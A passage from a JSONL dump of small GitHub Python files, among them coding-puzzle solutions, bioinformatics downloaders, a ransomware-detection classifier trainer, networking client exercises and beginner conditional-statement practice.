handle_parse_query)\n])\n","repo_name":"ionagamed/iu-ir-lab-04","sub_path":"python_services/services/secondary/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":859,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"20672360128","text":"import re\n\ndef get_nested(dct, *keys):\n for key in keys:\n try:\n dct = dct[key]\n except (KeyError, TypeError):\n return None\n return dct\n\ndef extract(string, pattern):\n\n found = re.search(pattern, string)\n if found:\n return found.group(0)\n else:\n return ''\n","repo_name":"PennLINC/FlyBIDS","sub_path":"FlyBIDS/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":320,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"31139639707","text":"# Definition for a binary tree node.\n# class TreeNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nclass Solution(object):\n def pathSum(self, root, sum):\n \"\"\"\n :type root: TreeNode\n :type sum: int\n :rtype: List[List[int]]\n \"\"\"\n if not root:\n return []\n \n queue = [root]\n root.currSum = root.val\n root.parent = None\n sum_nodes = []\n while len(queue) > 0:\n currNode = queue.pop(0)\n if not currNode.left and not currNode.right:\n if currNode.currSum == sum:\n sum_nodes.append(currNode)\n if currNode.left:\n currNode.left.currSum = currNode.currSum + currNode.left.val\n currNode.left.parent = currNode\n queue.append(currNode.left)\n if currNode.right:\n currNode.right.currSum = currNode.currSum + currNode.right.val\n currNode.right.parent = currNode\n queue.append(currNode.right)\n \n sum_paths = []\n for node in sum_nodes:\n path = []\n while node.parent:\n path.append(node.val)\n node = node.parent\n path.append(node.val)\n sum_paths.append(path[::-1])\n return sum_paths","repo_name":"jw122/exercises","sub_path":"trees/path-sum-ii.py","file_name":"path-sum-ii.py","file_ext":"py","file_size_in_byte":1403,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"39658635759","text":"#training models AI\nfrom random import randint\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.model_selection import train_test_split\n\nfrom sklearn import metrics\n\n#import sklearn.external.joblib as extjoblib\nimport joblib\n\nimport pandas as pd\nimport numpy as np\nimport random as rnd\nimport time\n\n\ndef train_model():\n \n df = pd.read_csv('Sample_RanSap.csv', sep=\",\")\n features = list(df.columns)\n X = df[features[:len(features)-2]]\n Y = df[features[-1]] #to predict dange\n \n n_estimators=np.arange(5, 20, 5).tolist()\n criterion = [\"gini\", \"entropy\"]\n splitters = [\"best\", \"random\"]\n \n model_RFC = RandomForestClassifier()\n model_DTC = DecisionTreeClassifier()\n \n #temporal variable to check some results\n accuracy_list_RFC = []\n accuracy_list_DTC = []\n accuracy = 0.0\n \n print(\"Creating and training RFC Model...\")\n print()\n \n start_time_0 = time.time() \n \n for estimator in n_estimators:\n for criteria in criterion:\n X_train, X_test, y_train, y_test = train_test_split(X, Y, test_size=0.3)\n new_model = RandomForestClassifier(n_estimators=estimator, criterion=criteria)\n new_model.fit(X_train, y_train)\n \n accuracy_temp = new_model.score(X_test, y_test)\n accuracy_list_RFC.append(accuracy_temp)\n \n if accuracy_temp>accuracy:\n accuracy=accuracy_temp\n model_RFC = new_model\n\n #print(\"({}, {})\".format(estimator, criteria))\n finalexectime_0 = time.time() - start_time_0 \n print(\"Creating and training DTC Model...\")\n print()\n \n accuracy = 0.0\n start_time_1 = time.time() \n for criteria in criterion:\n for splitter_ in splitters:\n X_train, X_test, y_train, y_test = train_test_split(X, Y, test_size=0.3)\n new_model = DecisionTreeClassifier(criterion=criteria, splitter=splitter_)\n new_model.fit(X_train, y_train)\n \n accuracy_temp = new_model.score(X_test, y_test)\n accuracy_list_DTC.append(accuracy_temp)\n \n if accuracy_temp>accuracy:\n accuracy=accuracy_temp\n model_DTC = new_model\n \n #print(\"({}, {})\".format(criteria, splitter_))\n finalexectime_1 = time.time() - start_time_1\n \n joblib.dump(model_RFC, \"RFC_model.joblib\")\n joblib.dump(model_DTC, \"DTC_model.joblib\")\n \n '''print()\n print(\"RFC accuracy results:\")\n print(accuracy_list_RFC)\n print()\n print(\"DTC accuracy results:\")\n print(accuracy_list_DTC)\n print()'''\n \n return accuracy_list_RFC, accuracy_list_DTC, finalexectime_0, finalexectime_1\n \n \n\ndef predict():\n print(\"Predicting results...\")\n \n model_RFC = joblib.load(\"RFC_model.joblib\")\n model_DTC = joblib.load(\"DTC_model.joblib\")\n \n #Predict and classify the given data\n \n file = \"./RanSAP/dataset/original/win7-120gb-hdd/Firefox/Firefox-20210610_23-43-40/ata_write.csv\"\n X_test = pd.read_csv(file, sep=\",\", names= ['Timestamp [s]', 'Timestamp [μs]','LBA','Size Block [byte]', 'Shannon Entropy 1','Shannon Entropy 2'])\n \n row = rnd.randint(0,len(X_test))\n X_new = pd.DataFrame(columns=X_test.columns)\n X_new = X_new.append(X_test.iloc[row])\n \n predict_RFC = model_RFC.predict(X_new)\n predict_DTC = model_DTC.predict(X_new)\n \n print(\"Predictions: \")\n print(\"RFC: \",predict_RFC[0])\n print(\"DTC: \",predict_DTC[0])\n \n print(\"Actual classification: \")\n print(\"Benign\")\n ","repo_name":"ACSBSC/URV_MESIIA_Thesis","sub_path":"ml_train.py","file_name":"ml_train.py","file_ext":"py","file_size_in_byte":3655,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"6845281390","text":"def romanToInt(s: str) -> int:\n d = {\n \"I\": 1,\n \"V\" : 5,\n \"X\" : 10,\n \"L\" : 50,\n \"C\" : 100,\n \"D\" : 500,\n \"M\" : 1000\n }\n \n res = 0\n value = lambda x : d.get(s[x])\n skipped = False\n i = 0\n if len(s) <1:\n for i in range(len(s)-1):\n if skipped:\n skipped = False\n continue\n if value(i) >= value(i+1):\n res += value(i)\n else: \n res += value(i+1) - value(i)\n skipped = True\n \n if not skipped:\n res += value(i+1)\n else: res += d.get(s)\n return res\n\nprint(romanToInt(input()))","repo_name":"ralfseduards/vscode-main","sub_path":"classes/new.py","file_name":"new.py","file_ext":"py","file_size_in_byte":685,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"37635505500","text":"import requests\nimport re\nfrom Bio import Phylo, SeqIO\nfrom io import StringIO\n\n\ndef family_seq(families, form='fasta', type='full', download = False, path = None):\n \"\"\"This function search for sequences of the family in format and form specified by the user.\n\n :param families: Id or accession of the family, or list of the families names\n :type families: str or list\n :param form: Output format of ssequences. Available: fasta, selex, stockholm, msf, defaults to fasta\n :type form: str, optional\n :param type: A type of the sequences from the fmaily site. Available: full, seed, defaults to full\n :type type: str, optional\n :param download: 'True' if download to the file, defaults to False\n :type download: bool optional\n :param path: path to the outpur file if download is True\n :type path: str, optional\n :return: List of SeqIO type objects\n :rtype: list\n \"\"\"\n result = []\n forms = ['fasta', 'selex', 'stockholm', 'msf']\n types = ['seed', 'full']\n if form not in forms:\n raise ValueError(\"form can be one of following: fasta, selex, stockholm, msf\")\n if type not in types:\n raise ValueError(\"type can be one of following: seed, full\")\n if not isinstance(families, (list, str)):\n raise ValueError(\"incorrect type of families name\")\n if isinstance(families, str):\n families = [families]\n for family in families:\n print('Now downloading: %s' %family)\n url = 'https://pfam.xfam.org/family/%s' % family\n url += '/alignment/%s' % type\n url += '/format?format=%s&alnType=%s&order=a&case=l&gaps=dashes&download=1' % (form, form)\n r = requests.get(url, allow_redirects=True)\n r.raise_for_status()\n if form != 'selex':\n result.append(SeqIO.parse(StringIO(r.text), form))\n else:\n result.append(r.text)\n if download:\n if path is not None:\n pathname = '%s/%s.%s' % (path, family, form)\n else:\n pathname = '%s.%s' % (family, form)\n f = open(pathname, 'w').write(r.text)\n return result\n\ndef clan_members(clans):\n \"\"\"This function return the dictionary of pfam families belonging to the clans\n \n :param clans: list or string with the name of the clan\n :type path: list/str\n :return: Ditionary of clan name as key and clan members as value\n :rtype: dict\n\n \"\"\"\n result = {}\n if not isinstance(clans, (list, str)):\n raise ValueError(\"incorrect type of clan name\")\n if isinstance(clans, str):\n clans = [clans]\n for clan in clans:\n clan_url = 'https://pfam.xfam.org/clan/%s#tabview=tab2' % clan\n r_clan = requests.get(clan_url, allow_redirects=True)\n r_clan.raise_for_status()\n families = re.findall('PF[0-9]{5}',r_clan.text)\n result[clan] = families\n return result\n\ndef family_tree(families, download=False, path=None):\n \"\"\"This function search for phylogenetic tree of the family in the Newick format.\n\n :param families: Id or accession of the family, or list of the families names\n :type families: str or list\n :param download: 'True' if download to the file, defaults to False\n :type download: bool optional\n :param path: path to the outpur file if download is True\n :type path: str, optional\n :return: List of PhyloIO type objects\n :rtype: list\n \"\"\"\n result = []\n if not isinstance(families, (list, str)):\n raise ValueError(\"incorrect type of families name\")\n if isinstance(families, str):\n families = [families]\n for family in families:\n url = 'https://pfam.xfam.org/family/%s/tree/download' % family\n r = requests.get(url, allow_redirects=True)\n r.raise_for_status()\n tree = Phylo.read(StringIO(r.text), \"newick\")\n result.append(tree)\n if download:\n if path is not None:\n pathname = '%s/%s.nhx' % (path, family)\n else:\n pathname = '%s.nhx' % (family)\n f = open(pathname, 'w').write(r.text)\n return result\n\n\ndef get_alternative(families):\n \"\"\"This function give alternative name for the family - for id it gves accession,\n for accession - gives id.\n\n :param families: Id or accession of the family\n :type families: str or list\n :return: Dictionary with the accession as key and id as value\n :rtype: dict\n \"\"\"\n results = {}\n if not isinstance(families, (list, str)):\n raise ValueError(\"incorrect type of families name\")\n if isinstance(families, str):\n families = [families]\n for family in families:\n url = 'https://pfam.xfam.org/family/%s' % family\n r = requests.get(url, allow_redirects=True)\n r.raise_for_status()\n titles = re.search('Family:.+?
', r.text).group()\n acc = titles[titles.find(\"(\")+1:titles.find(\")\")]\n id_pfam = titles[titles.find(\"\")+4:titles.find(\"\")]\n if family == acc:\n results[acc] = id_pfam\n else:\n results[id_pfam] = acc\n return results\n\ndef go_terms(family):\n \"\"\"This function give go terms connected to the pfam family\n\n :param families: Id or accession of the family\n :type families: str\n :return: Set of go terms\n :rtype: set\n \"\"\"\n url = 'https://pfam.xfam.org/family/%s' % family\n r = requests.get(url, allow_redirects=True)\n r.raise_for_status()\n gos = set(re.findall('GO:[0-9]+', r.text))\n return gos\n","repo_name":"JuliaGol/PARS","sub_path":"pars/pfam_sequences.py","file_name":"pfam_sequences.py","file_ext":"py","file_size_in_byte":5493,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"74306349200","text":"'''\n--- Day 4: Security Through Obscurity ---\n\nFinally, you come across an information kiosk with a list of rooms. Of course, the list is encrypted and full of decoy data, but the instructions to decode the list are barely hidden nearby. Better remove the decoy data first.\n\nEach room consists of an encrypted name (lowercase letters separated by dashes) followed by a dash, a sector ID, and a checksum in square brackets.\n\nA room is real (not a decoy) if the checksum is the five most common letters in the encrypted name, in order, with ties broken by alphabetization. For example:\n\naaaaa-bbb-z-y-x-123[abxyz] is a real room because the most common letters are a (5), b (3), and then a tie between x, y, and z, which are listed alphabetically.\na-b-c-d-e-f-g-h-987[abcde] is a real room because although the letters are all tied (1 of each), the first five are listed alphabetically.\nnot-a-real-room-404[oarel] is a real room.\ntotally-real-room-200[decoy] is not.\nOf the real rooms from the list above, the sum of their sector IDs is 1514.\n\nWhat is the sum of the sector IDs of the real rooms?\n\n'''\n\nimport itertools\nimport re\n\nmy_input = open('day4_input.txt').read().strip()\n\ndef split_room_code(line):\n # here's some cargo culting for you, never use '.*' in your re to capture things of unknown length.\n # instead use the index of the smaller thing you want to match or split on.\n code_re = re.compile('(\\d+)\\[(\\w+)\\]$')\n m = code_re.search(line)\n assert m, (\"bad input\", line)\n digits, checksum = m.groups()\n letters = line[:m.start()] # everything we didn't capture using a '.*'\n return letters, digits, checksum\n\n# test first two lines of input\nassert ('gbc-frperg-pubpbyngr-znantrzrag-', '377', 'rgbnp') == \\\n split_room_code('gbc-frperg-pubpbyngr-znantrzrag-377[rgbnp]')\nassert ('nij-mywlyn-wlsiayhcw-jfumncw-alumm-mbcjjcha-', '422', 'mcjwa') == \\\n split_room_code('nij-mywlyn-wlsiayhcw-jfumncw-alumm-mbcjjcha-422[mcjwa]')\n\n\ndef top_5_letters(letters):\n letters = sorted(list(letters.replace('-', '')))\n care_letters = ''\n # the award for worst interface in the stdlib goes to itertools.groupby()\n for k, iter_of_ks in itertools.groupby(letters):\n # ugh. it is never useful to consume the results of itertoos.groupby() directly\n # so instead throw this away and do something with a comprehension of it.\n pass # fuck me, fuck this trash.\n grouped = [(k, len(list(subiter))) for k, subiter in itertools.groupby(letters)]\n grouped.sort(key=lambda x:x[1], reverse=True) # most popular first\n return sorted([letter for letter, count in grouped[:5]])\n\nassert list('abc') == top_5_letters('a-b-c')\nassert list('abc') == top_5_letters('cba')\nassert list('abcde') == top_5_letters('gfeeddccba'), top_5_letters('gfeeddccba')\n\ndef main():\n total = 0\n for line in my_input.split('\\n'):\n letters, digits, checksum = split_room_code(line)\n want_checksum = ''.join(top_5_letters(letters))\n checksum = ''.join(sorted(checksum))\n if want_checksum == checksum:\n total += int(digits)\n print(\"Digit total\", total)\n\nif __name__ == '__main__':\n main()\n","repo_name":"jackdied/AoC2016","sub_path":"day4.py","file_name":"day4.py","file_ext":"py","file_size_in_byte":3165,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"2364857576","text":"import unittest\nfrom time import sleep\n\nfrom common.document_operation import get_yaml\nfrom page.example.example import ExamplePage\nfrom common.base import open_browser, BasePage\n\n\nclass TestBaidu(unittest.TestCase):\n\n def setUp(self):\n self.driver = open_browser('chrome', logs=True)\n self.page = ExamplePage(self.driver)\n self.page.open_url(get_yaml('../config/env.yaml', 'url_baidu'))\n\n def tearDown(self):\n self.driver.quit()\n\n def test_baidu_search_case(self):\n self.page.send_keys(self.page.SEARCH_INPUT, 'selenium')\n self.page.click(self.page.SEARCH_BUTTON)\n sleep(2)\n for typelog in self.driver.log_types:\n perfs = self.driver.get_log(typelog)\n print(perfs)\n for row in perfs:\n print(row)\n self.assertEqual(self.page.get_title(), \"selenium_百度搜索\")\n","repo_name":"GavinHaydy/AutomatedTest","sub_path":"testcase/test_web.py","file_name":"test_web.py","file_ext":"py","file_size_in_byte":883,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"39272273660","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Apr 15 16:13:51 2020\n\n@author: jacqu\n\nDownload moses datasets and saves them \n\"\"\"\n\nimport moses\nimport pandas as pd\nimport os\n\n\ndef download_moses():\n script_dir = os.path.dirname(os.path.realpath(__file__))\n\n print('>>> Loading data from moses')\n train = moses.get_dataset('train')\n test = moses.get_dataset('test')\n test_scaffolds = moses.get_dataset('test_scaffolds')\n\n train = pd.DataFrame(train).rename(columns={0: 'smiles'})\n test = pd.DataFrame(test).rename(columns={0: 'smiles'})\n scaf = pd.DataFrame(test_scaffolds).rename(columns={0: 'smiles'})\n\n print(scaf.head())\n\n print('>>> Saving data to csv files in ./data')\n train.to_csv(os.path.join(script_dir, '../data/moses_train.csv'))\n test.to_csv(os.path.join(script_dir, '../data/moses_test.csv'))\n scaf.to_csv(os.path.join(script_dir, '../data/moses_test_scaffolds.csv'))\n\n\ndownload_moses()\n","repo_name":"jacquesboitreaud/OptiMol","sub_path":"data_processing/download_moses.py","file_name":"download_moses.py","file_ext":"py","file_size_in_byte":934,"program_lang":"python","lang":"en","doc_type":"code","stars":30,"dataset":"github-code","pt":"3"}
+{"seq_id":"3794603342","text":"import os\nimport re\nimport time\n\ndef timeit(f):\n def wrapped(*args, **kwargs):\n start = time.perf_counter()\n result = f(*args, **kwargs)\n print(f\"{f.__name__} took: {time.perf_counter() - start}s\")\n return result\n return wrapped\n\ndef replaceRules(rule, rules):\n # Recursively replace reference to rules with their actual values\n if rule['type'] == \"or\" or rule['type'] == \"and\":\n ruleValue = rule['value']\n for subRuleIdx, subRule in enumerate(ruleValue):\n if isinstance(subRule, str):\n subRuleKey = subRule\n ruleValue[subRuleIdx] = rules[subRuleKey]\n elif subRule[\"type\"] != \"literal\":\n replaceRules(subRule, rules)\n\n# Validates / matches a message using the target rule directly\ndef validateWithRule(message, targetRule, charIdx):\n targetRuleType = targetRule[\"type\"]\n targetRuleValue = targetRule[\"value\"]\n isValid = False\n if targetRuleType == 'and':\n allValid = True\n currCharIdx = charIdx\n for subRule in targetRuleValue:\n newIsValid, newCharIdx = validateWithRule(message, subRule, currCharIdx)\n if newIsValid:\n currCharIdx = newCharIdx\n else:\n allValid = False\n break\n isValid = allValid\n if isValid:\n charIdx = currCharIdx\n elif targetRuleType == 'or':\n anyValid = False\n currCharIdx = charIdx\n for subRule in targetRuleValue:\n newIsValid, newCharIdx = validateWithRule(message, subRule, currCharIdx)\n if newIsValid:\n anyValid = True\n currCharIdx = newCharIdx\n break\n isValid = anyValid\n if isValid:\n charIdx = currCharIdx\n elif targetRuleType == 'literal':\n if charIdx < len(message) and message[charIdx] == targetRuleValue:\n isValid = True\n charIdx += len(targetRuleValue)\n else:\n isValid = False\n else:\n raise Exception(f\"Invalid rule type {targetRuleType}\")\n return isValid, charIdx\n\n# Creates a regex corresponding to the target rule\ndef regexForTargetRule(targetRule):\n targetRuleType = targetRule[\"type\"]\n targetRuleValue = targetRule[\"value\"]\n targetRuleRegex = \"\"\n if targetRuleType == \"and\":\n targetRuleRegex += r\"(?:\"\n for subRule in targetRuleValue:\n targetRuleRegex += regexForTargetRule(subRule)\n targetRuleRegex += r\")\"\n elif targetRuleType == \"or\":\n targetRuleRegex += r\"(?:\"\n for idx, subRule in enumerate(targetRuleValue):\n targetRuleRegex += regexForTargetRule(subRule)\n if idx + 1 < len(targetRuleValue):\n targetRuleRegex += r\"|\"\n targetRuleRegex += r\")\"\n elif targetRuleType == 'literal':\n targetRuleRegex += targetRuleValue\n else:\n raise Exception('Invalid rule type')\n return targetRuleRegex\n\n@timeit\ndef solveCustom(rules, messages):\n targetRule = rules['0']\n\n # Validate message with target rule with custom validator\n validMessagesCount = 0\n for message in messages:\n (validMessage, charIdx) = validateWithRule(message, targetRule, 0)\n isValid = validMessage and charIdx == len(message)\n if isValid:\n validMessagesCount += 1\n return validMessagesCount\n\n@timeit\ndef solveRegex(rules, messages):\n targetRule = rules['0']\n\n # Validate message with target rule using regex mapping\n targetRuleRegex = r\"^\" + regexForTargetRule(targetRule) + r\"$\"\n targetRuleCompiledRegex = re.compile(targetRuleRegex)\n validMessagesCount = 0\n for message in messages:\n if targetRuleCompiledRegex.match(message) != None:\n validMessagesCount += 1\n return validMessagesCount\n\ndef solve(rules, messages):\n # Replace reference to rules in the input with the literals\n for rule in rules.values():\n replaceRules(rule, rules)\n\n validMessagesCount = solveCustom(rules, messages)\n print(f\"Solution (custom) {validMessagesCount}\")\n\n validMessagesCount = solveRegex(rules, messages)\n print(f\"Solution (regex) {validMessagesCount}\")\n\ndef parseInput(lines):\n RULE_REGEX = re.compile(r\"(?P\\d+): (?:(?P[\\d \\|]+)|\\\"(?P[ab])\\\")\")\n MAX_RULE_RECURSION = 10\n\n rules = {}\n messages = []\n for line in lines:\n matches = RULE_REGEX.match(line)\n if matches != None:\n # Parse original rules/grammar into a tree we can understand and manipulate\n ruleNumber = matches[\"ruleNumber\"]\n subRules = matches[\"subRules\"]\n replacement = matches[\"replacement\"]\n if subRules != None:\n splitSubRules = subRules.split(\"|\")\n if len(splitSubRules) > 1:\n # The following commented line is all we had for part 1\n # rules[ruleNumber] = { \"type\": \"or\", \"value\": [{ \"type\": \"and\", \"value\": subRule.strip().split(\" \")} for subRule in splitSubRules] }\n ruleObjects = []\n for subRule in splitSubRules:\n subRuleReplacements = subRule.strip().split(\" \")\n subRuleHasCycle = any([replacementRule == ruleNumber for replacementRule in subRuleReplacements])\n if subRuleHasCycle:\n # To handle Part 2, we make rules for a maximum number of recursions\n cycleIdx = subRuleReplacements.index(ruleNumber) # index of the cycle rule number\n count = 0\n while count < MAX_RULE_RECURSION:\n repetitions = count + 1\n ruleObjects.append({ \"type\": \"and\", \"value\": (subRuleReplacements[0:cycleIdx] * repetitions) + (subRuleReplacements[cycleIdx+1:] * repetitions)})\n count += 1\n else:\n ruleObjects.append({ \"type\": \"and\", \"value\": subRuleReplacements })\n rules[ruleNumber] = { \"type\": \"or\", \"value\": ruleObjects }\n else:\n rules[ruleNumber] = { \"type\": \"and\", \"value\": splitSubRules[0].strip().split(\" \") }\n elif replacement != None:\n rules[ruleNumber] = { \"type\": \"literal\", \"value\": replacement }\n else:\n raise Exception(\"Invalid rule.\")\n elif len(line.strip()) > 0:\n # Collect messages to validate\n messages.append(line.strip())\n return rules, messages\n\nif __name__ == \"__main__\":\n dirname = os.path.dirname(__file__)\n\n filenamePart1 = os.path.join(dirname, \"input.txt\")\n with open(filenamePart1, \"r\") as fileInput:\n print(\"-- Part 1 --\")\n rules, messages = parseInput(fileInput.readlines())\n solve(rules, messages)\n\n filenamePart2 = os.path.join(dirname, \"inputPart2.txt\")\n with open(filenamePart2, \"r\") as fileInput:\n print(\"-- Part 2 --\")\n rules, messages = parseInput(fileInput.readlines())\n solve(rules, messages)\n\n\n","repo_name":"poscar/advent-of-code-2020","sub_path":"19/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":6412,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"20760710409","text":"fname = \"up_cities.txt\" #change the name with current city file\r\n#----------------------------------------\r\nlines = tuple(open(fname, 'r'))\r\nlines = [x.strip() for x in lines]\r\n#----------------------------------------\r\n#print(lines)\r\nprint(len(lines))\r\n#----------------------------------------\r\nlines1 = list(dict.fromkeys(lines))\r\nprint(len(lines1))\r\nnew_file = open(\"up_cities_list.txt\", \"w+\")\r\nnew_file.write(\"up_cities = \")\r\nnew_file.write(str(lines1))\r\nnew_file.close()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n#ignore the commented part.....trash code\r\n'''\r\nUse this code to see the number of lines in the file.\r\ncount = 0\r\nwith open(fname, 'r') as f:\r\n for line in f:\r\n count += 1\r\nprint(\"Total number of lines is:\", count)\r\n\r\nf = open(fname, 'r')\r\nfile_contents = f.readlines()\r\nfile_contents = [x.strip() for x in file_contents]\r\nprint(file_contents)\r\nf.close()\r\n'''\r\n","repo_name":"adityakumaar/DataAnalytics-Internship-Project","sub_path":"all_cities/indi_city_list/individual_city_list.py","file_name":"individual_city_list.py","file_ext":"py","file_size_in_byte":873,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"3"}
+{"seq_id":"16986446803","text":"# Given a target string and a list of strings called wordBank, return the number of ways to construct the target string.\n# using the wordBank. A word in the wordbank can be used multiple times.\n# The trick is to return [[]] when creating \"\" and [] when failing to create a word.\n# Time complexity = polynomial as all combinations have to be generated\n\ncache = {}\n\ndef allConstruct(target, wordBank):\n\n if(target == \"\"):\n return [[]]\n \n if(target in cache):\n return cache[target]\n \n allWays = []\n\n for word in wordBank:\n\n if(target[:len(word)] == word):\n remainingWord = target[len(word):]\n currWays = allConstruct(remainingWord, wordBank)\n for ways in currWays:\n t = [word] + ways\n allWays.append(t)\n\n cache[target] = allWays\n return cache[target]\n\n\nif __name__ == \"__main__\":\n target = input(\"Enter target string: \")\n\n n = int(input(\"Enter no. of words in wordbank: \"))\n wordBank = []\n i = 0\n while(i < n):\n temp = input(f\"Enter word {i}: \")\n wordBank.append(temp)\n i += 1\n\n res = allConstruct(target, wordBank)\n\n if(res):\n print(f\"{target} can be constructed from the wordbank in {len(res)} ways\")\n for item in res:\n print(item)\n else:\n print(f\"{target} cannot be constructed from the wordbank\")","repo_name":"Dhruvvvx17/LeetCode-Solution","sub_path":"Dynamic Programming/Python/allConstruct.py","file_name":"allConstruct.py","file_ext":"py","file_size_in_byte":1382,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"40429656922","text":"file = open(\"input.txt\", \"r\")\nfileLines = [line.strip(\"\\n\") for line in file.readlines()]\n\ncommonChars = []\n\nfor line in fileLines:\n #\"A\" starts at ASCII 65, \"a\" starts at ASCII 97\n commonChars += set([ord(x) for x in line[:len(line) // 2] if x in line[len(line) // 2:]])\n\nsortedChars = [x - 38 if 65 <= x < 91 else x - 96 for x in commonChars]\n\nprint(sortedChars)\nprint(sum(sortedChars))","repo_name":"leifkemp-bjss/aoc-2022","sub_path":"day3/day3.py","file_name":"day3.py","file_ext":"py","file_size_in_byte":394,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"44198728831","text":"from __future__ import division\nfrom math import cos, sin, pi\nfrom pyglet.gl import *\nimport utils\n\n\nclass Sphere(object):\n \"\"\"\n OpenGL representation of a Sphere. Stores its position, normal, uv, and\n index vectors, as well as a method to draw\n \"\"\"\n def __init__(self, divLong, divLat):\n # Create the vertex and normal arrays.\n positions = []\n normals = []\n uvs = []\n\n for i in xrange(divLong + 1):\n theta = 2 * pi * i/divLong + pi\n for j in xrange(divLat + 1):\n phi = pi * j / divLat\n z = cos(theta) * sin(phi)\n x = sin(theta) * sin(phi)\n y = cos(phi)\n\n positions.extend([x, y, z])\n normals.extend([x, y, z])\n uvs.extend([i/divLong, 1-(j/divLat)])\n # Create ctypes arrays of the lists\n positions = utils.vecf(*positions)\n normals = utils.vecf(*normals)\n uvs = utils.vecf(*uvs)\n\n # Create a list of triangle indices.\n indices = []\n for i in xrange(0, int(len(positions)/3) - divLat - 1, divLat + 1):\n for j in xrange(divLat):\n indices.extend([i + j, i + j + 1, i + j + 2 + divLat])\n indices.extend([i + j, i + j + 2 + divLat, i + j + 1 + divLat])\n\n indices = utils.veci(*indices)\n # Compile a display list\n self.list = glGenLists(1)\n glNewList(self.list, GL_COMPILE)\n\n glEnableClientState(GL_VERTEX_ARRAY)\n glEnableClientState(GL_NORMAL_ARRAY)\n glEnableClientState(GL_TEXTURE_COORD_ARRAY)\n glVertexPointer(3, GL_FLOAT, 0, positions)\n glNormalPointer(GL_FLOAT, 0, normals)\n glTexCoordPointer(2, GL_FLOAT, 0, uvs)\n glDrawElements(GL_TRIANGLES, len(indices), GL_UNSIGNED_INT, indices)\n\n glEndList()\n\n def draw(self):\n glCallList(self.list)\n","repo_name":"Oneman2feet/a-sharp","sub_path":"app/sphere.py","file_name":"sphere.py","file_ext":"py","file_size_in_byte":1899,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"36399727504","text":"print(\"####### 11-1 ##########\")\n\nimport socket\n\naddress = ('localhost', 6789)\nmax_size = 1000\n\nclient = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nclient.connect(address)\n\nclient.send(b'time')\ndata = client.recv(max_size)\n\nprint(data)\nprint(data.decode('utf-8'))\nclient.close()\n\nprint(\"####### 11-2 ##########\")\nimport zmq\n\nhost = '127.0.0.1'\nport = 6790\n\ncontext = zmq.Context()\nclient = context.socket(zmq.REQ)\nclient.connect(\"tcp://%s:%s\" % (host, port))\n\nrequest_bytes = \"time\".encode('utf-8')\nclient.send(request_bytes)\nreply_bytes = client.recv()\nprint(reply_bytes.decode('utf-8'))\n\nprint(\"####### 11-3 ##########\")\nimport xmlrpc.client\n\nproxy = xmlrpc.client.ServerProxy(\"http://localhost:6791/\")\nnow = proxy.this_time()\n\nprint(now)\n\nprint(\"####### 11-4 ##########\")\nimport redis\nconn = redis.Redis()\n\nchocos = ['choco1','choco2','choco3']\nfor choco in chocos:\n msg = choco.endoce('utf-8')\n conn.rpush('chocos',msg)\n \nconn.rpush('chocos','quit'.encode('utf-8'))\nconn.close()\n","repo_name":"tommy115/begining-of-python","sub_path":"chap11/training.py","file_name":"training.py","file_ext":"py","file_size_in_byte":999,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"40345355017","text":"# var1 = 20 \n# var2 = 30\n# Relational operators or Conditional operators -> >, <, >=, <=, ==, !=\n# if var1 == var2:\n# print(\"The condition is true\")\n# else:\n# print(\"The condition is false\")\n# print(\"This is another print statement\")\n# Two numbers, Product More than 1000 -> print sum -> otherwise product \n\n\nnum1 = 40\nnum2 = 40\n# if num1 * num2 >= 1000:\n# print(\"Sum is\", num1 + num2)\n# else:\n# print(\"Product is\", num1 * num2) \n\n\n# Multiple conditions -> \n# Logical operators -> AND, OR and NOT \n\n# if num1 < 30 or num2 < 30:\n# print(\"Both the conditions are true\")\n# else:\n# print(\"Both the conditions are not true\")\n\n\n\n# 2 ways ->\nx = 44 \n# if x < 10:\n# print(\"Con1 is true\")\n# elif x == 20:\n# print(\"Con2 is true\")\n# elif x > 20:\n# print(\"Con3 is true\")\n\n# Nested If-else\n# if x > 10:\n# print(\"Con1 is true, x is greater than 10\")\n# print(\"checking another condition ... \")\n# if x > 20:\n# print(\"Con2 is true, x is greater than 20\") \n# else:\n# print(\"Con2 is false, x is lesser than 20\")\n# else:\n# print(\"Con1 is false, x is lesser than 10\")\n\n# Take two numbers, print which one is greater?\n# number1 = 34\n# number2 = 34\n# if number1 > number2:\n# print(\"Number 1 is greater than Number 2\")\n\n# elif number2 == number1:\n# print(\"Number 2 is equal to Number 1\")\n\n# else:\n# print(\"Number 2 is greater than Number 1\")\n\n# Take 3 numbers, Print which one is greatest, smallest and middle one?\n\n\nvalue1 = 135\nvalue2 = 135\nvalue3 = 1250\nif value1 > value2 and value1 > 